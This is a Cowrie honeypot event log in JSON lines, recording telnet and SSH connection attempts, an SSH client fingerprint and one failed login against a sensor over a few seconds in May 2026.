{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39486,"dst_ip":"10.17.0.5","dst_port":23,"session":"3969a1503ac4","protocol":"telnet","message":"New connection: 104.167.8.156:39486 (10.17.0.5:23) [session: 3969a1503ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.085374Z"}
{"eventid":"cowrie.session.closed","duration":30.596543550491333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.136822Z","src_ip":"108.61.251.217","session":"9575648cd307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"09af6a7f49d6","protocol":"telnet","message":"New connection: 104.167.8.156:39826 (10.17.0.5:23) [session: 09af6a7f49d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.171400Z"}
{"eventid":"cowrie.session.closed","duration":30.774625062942505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.386039Z","src_ip":"108.61.251.217","session":"6a0805a06a2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51116,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ebe623e80c","protocol":"telnet","message":"New connection: 108.61.251.217:51116 (10.17.0.5:23) [session: 42ebe623e80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.424094Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37836,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eae77117f65","protocol":"telnet","message":"New connection: 104.167.8.156:37836 (10.17.0.5:23) [session: 0eae77117f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.604947Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb51893b51f","protocol":"telnet","message":"New connection: 104.167.8.156:41786 (10.17.0.5:23) [session: ebb51893b51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.804561Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51124,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2ebda2ee74","protocol":"telnet","message":"New connection: 108.61.251.217:51124 (10.17.0.5:23) [session: 6a2ebda2ee74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.854522Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":47738,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e9590ea19b4","protocol":"ssh","message":"New connection: 1.235.192.214:47738 (10.17.0.5:22) [session: 1e9590ea19b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.866229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.882065Z","src_ip":"1.235.192.214","session":"1e9590ea19b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.82690405845642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.931947Z","src_ip":"104.167.8.156","session":"26a002e789f7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.078461Z","src_ip":"1.235.192.214","session":"1e9590ea19b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d0f6497e7c","protocol":"telnet","message":"New connection: 104.167.8.156:42934 (10.17.0.5:23) [session: e7d0f6497e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.185396Z"}
{"eventid":"cowrie.session.closed","duration":30.41564393043518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.216217Z","src_ip":"104.167.8.156","session":"4c86df13dad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51150,"dst_ip":"10.17.0.5","dst_port":23,"session":"5462fabe1879","protocol":"telnet","message":"New connection: 108.61.251.217:51150 (10.17.0.5:23) [session: 5462fabe1879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.269255Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6fd8abb8f6f","protocol":"telnet","message":"New connection: 104.167.8.156:44180 (10.17.0.5:23) [session: b6fd8abb8f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.575590Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51160,"dst_ip":"10.17.0.5","dst_port":23,"session":"3505fbf7559f","protocol":"telnet","message":"New connection: 108.61.251.217:51160 (10.17.0.5:23) [session: 3505fbf7559f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.654442Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e63c581ef86","protocol":"telnet","message":"New connection: 108.61.251.217:51176 (10.17.0.5:23) [session: 4e63c581ef86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.762622Z"}
{"eventid":"cowrie.session.closed","duration":31.688799142837524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.801239Z","src_ip":"104.167.8.156","session":"b8c62787cd87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.213717222213745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.833078Z","src_ip":"104.167.8.156","session":"3d0f19a4ed18","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"xxx","message":"login attempt [user/xxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.865530Z","src_ip":"1.235.192.214","session":"1e9590ea19b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45344,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ad2e32ee54","protocol":"telnet","message":"New connection: 104.167.8.156:45344 (10.17.0.5:23) [session: e2ad2e32ee54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:02.975612Z"}
{"eventid":"cowrie.session.closed","duration":30.908146619796753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.042316Z","src_ip":"104.167.8.156","session":"045f2fe1a9d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449090242385864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.210033Z","src_ip":"108.61.251.217","session":"212d604174fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223081588745117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.229705Z","src_ip":"104.167.8.156","session":"db529d35130e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744394063949585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.261759Z","src_ip":"104.167.8.156","session":"5eea56b8ab9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"e37e432c6392","protocol":"telnet","message":"New connection: 104.167.8.156:43882 (10.17.0.5:23) [session: e37e432c6392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.481470Z"}
{"eventid":"cowrie.session.closed","duration":31.266191959381104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.525251Z","src_ip":"104.167.8.156","session":"f6021ea04184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43866,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ff6bd1c993","protocol":"telnet","message":"New connection: 188.208.141.113:43866 (10.17.0.5:23) [session: 47ff6bd1c993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.647926Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47896,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c575abc939","protocol":"telnet","message":"New connection: 104.167.8.156:47896 (10.17.0.5:23) [session: a2c575abc939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.767162Z"}
{"eventid":"cowrie.session.closed","duration":31.38030505180359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.965762Z","src_ip":"104.167.8.156","session":"20629169f123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23023509979248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:03.983966Z","src_ip":"104.167.8.156","session":"d11ec5c199a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.057946Z","src_ip":"1.235.192.214","session":"1e9590ea19b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.568142652511597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.149170Z","src_ip":"104.167.8.156","session":"8b500629beb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563676834106445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.200016Z","src_ip":"108.61.251.217","session":"18a92f11365e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40154,"dst_ip":"10.17.0.5","dst_port":23,"session":"175daba60ad1","protocol":"telnet","message":"New connection: 104.167.8.156:40154 (10.17.0.5:23) [session: 175daba60ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.280855Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"0952190c7b8e","protocol":"telnet","message":"New connection: 108.61.251.217:51244 (10.17.0.5:23) [session: 0952190c7b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.396356Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f590968064","protocol":"telnet","message":"New connection: 108.61.251.217:51248 (10.17.0.5:23) [session: 27f590968064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.431387Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51056,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d46ecebeaac","protocol":"telnet","message":"New connection: 104.167.8.156:51056 (10.17.0.5:23) [session: 7d46ecebeaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.677294Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51266,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d94534c251","protocol":"telnet","message":"New connection: 108.61.251.217:51266 (10.17.0.5:23) [session: e3d94534c251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:04.912343Z"}
{"eventid":"cowrie.session.closed","duration":30.830880165100098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.149410Z","src_ip":"104.167.8.156","session":"1038bf4924e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51276,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f10a686e3ab","protocol":"telnet","message":"New connection: 108.61.251.217:51276 (10.17.0.5:23) [session: 3f10a686e3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.170076Z"}
{"eventid":"cowrie.session.closed","duration":30.678356647491455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.205927Z","src_ip":"108.61.251.217","session":"67b9336cf330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093681812286377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.217036Z","src_ip":"104.167.8.156","session":"5a14c1465c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53180,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b8f6dbbdd6d","protocol":"telnet","message":"New connection: 104.167.8.156:53180 (10.17.0.5:23) [session: 6b8f6dbbdd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.320841Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48470,"dst_ip":"159.203.135.109","dst_port":23,"session":"6542b3beb13e","protocol":"telnet","message":"New connection: 98.70.41.28:48470 (159.203.135.109:23) [session: 6542b3beb13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.352209Z"}
{"eventid":"cowrie.session.closed","duration":31.064932823181152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.387744Z","src_ip":"104.167.8.156","session":"2805eaf93aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51292,"dst_ip":"10.17.0.5","dst_port":23,"session":"95606e6bb794","protocol":"telnet","message":"New connection: 108.61.251.217:51292 (10.17.0.5:23) [session: 95606e6bb794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.560492Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43872,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e629766521","protocol":"telnet","message":"New connection: 188.208.141.113:43872 (10.17.0.5:23) [session: f0e629766521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.731243Z"}
{"eventid":"cowrie.session.closed","duration":40.208078145980835,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.754742Z","src_ip":"188.208.141.113","session":"d9180b7957d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45094060897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:05.962591Z","src_ip":"108.61.251.217","session":"1fbd53c02d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52184,"dst_ip":"10.17.0.5","dst_port":23,"session":"014b7fd1fb31","protocol":"telnet","message":"New connection: 104.167.8.156:52184 (10.17.0.5:23) [session: 014b7fd1fb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.059733Z"}
{"eventid":"cowrie.session.closed","duration":30.679101943969727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.156402Z","src_ip":"104.167.8.156","session":"82871b6fc442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8458514213562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.184281Z","src_ip":"108.61.251.217","session":"2f175b1d05a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52740,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f87464ded5c","protocol":"telnet","message":"New connection: 104.167.8.156:52740 (10.17.0.5:23) [session: 6f87464ded5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.205478Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56156,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a2c8e092d5","protocol":"telnet","message":"New connection: 104.167.8.156:56156 (10.17.0.5:23) [session: 92a2c8e092d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.214157Z"}
{"eventid":"cowrie.session.closed","duration":30.82258152961731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.247085Z","src_ip":"104.167.8.156","session":"ea4061aaf5bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513877391815186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.267088Z","src_ip":"104.167.8.156","session":"94e15e4bcfc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57320,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4ee81c83960","protocol":"telnet","message":"New connection: 104.167.8.156:57320 (10.17.0.5:23) [session: c4ee81c83960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.580700Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58190,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f96b102bac","protocol":"telnet","message":"New connection: 104.167.8.156:58190 (10.17.0.5:23) [session: 98f96b102bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.864188Z"}
{"eventid":"cowrie.session.closed","duration":31.598230838775635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.897633Z","src_ip":"104.167.8.156","session":"f7719f022727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58656,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5102e02a3d4","protocol":"telnet","message":"New connection: 104.167.8.156:58656 (10.17.0.5:23) [session: b5102e02a3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:06.990237Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58718,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ceae46ecdd","protocol":"telnet","message":"New connection: 104.167.8.156:58718 (10.17.0.5:23) [session: 37ceae46ecdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.017339Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56596,"dst_ip":"10.17.0.5","dst_port":23,"session":"971b96083759","protocol":"telnet","message":"New connection: 104.167.8.156:56596 (10.17.0.5:23) [session: 971b96083759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.348723Z"}
{"eventid":"cowrie.session.closed","duration":31.26335310935974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.387437Z","src_ip":"104.167.8.156","session":"31764cc61cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60158,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2e2376690c","protocol":"telnet","message":"New connection: 104.167.8.156:60158 (10.17.0.5:23) [session: 6b2e2376690c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.449157Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57208,"dst_ip":"10.17.0.5","dst_port":23,"session":"912b65603096","protocol":"telnet","message":"New connection: 104.167.8.156:57208 (10.17.0.5:23) [session: 912b65603096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.548485Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33286,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c1bfd0eddfc","protocol":"telnet","message":"New connection: 104.167.8.156:33286 (10.17.0.5:23) [session: 3c1bfd0eddfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.892196Z"}
{"eventid":"cowrie.session.closed","duration":31.415078163146973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:07.935314Z","src_ip":"104.167.8.156","session":"434ae2fb76c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48526,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9bc065cd78d","protocol":"telnet","message":"New connection: 98.70.41.28:48526 (159.203.135.109:23) [session: b9bc065cd78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.002935Z"}
{"eventid":"cowrie.session.closed","duration":30.187486171722412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.036201Z","src_ip":"104.167.8.156","session":"e94d908f9af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6261088848114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.141827Z","src_ip":"104.167.8.156","session":"69b9f89739fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37887978553772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.326833Z","src_ip":"108.61.251.217","session":"f763624e80fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35388,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6bb35574b3","protocol":"telnet","message":"New connection: 104.167.8.156:35388 (10.17.0.5:23) [session: 5e6bb35574b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.559884Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":57726,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce0bb81243a6","protocol":"telnet","message":"New connection: 108.61.251.217:57726 (10.17.0.5:23) [session: ce0bb81243a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.573792Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60862,"dst_ip":"10.17.0.5","dst_port":23,"session":"472b7d5085c6","protocol":"telnet","message":"New connection: 104.167.8.156:60862 (10.17.0.5:23) [session: 472b7d5085c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:08.678160Z"}
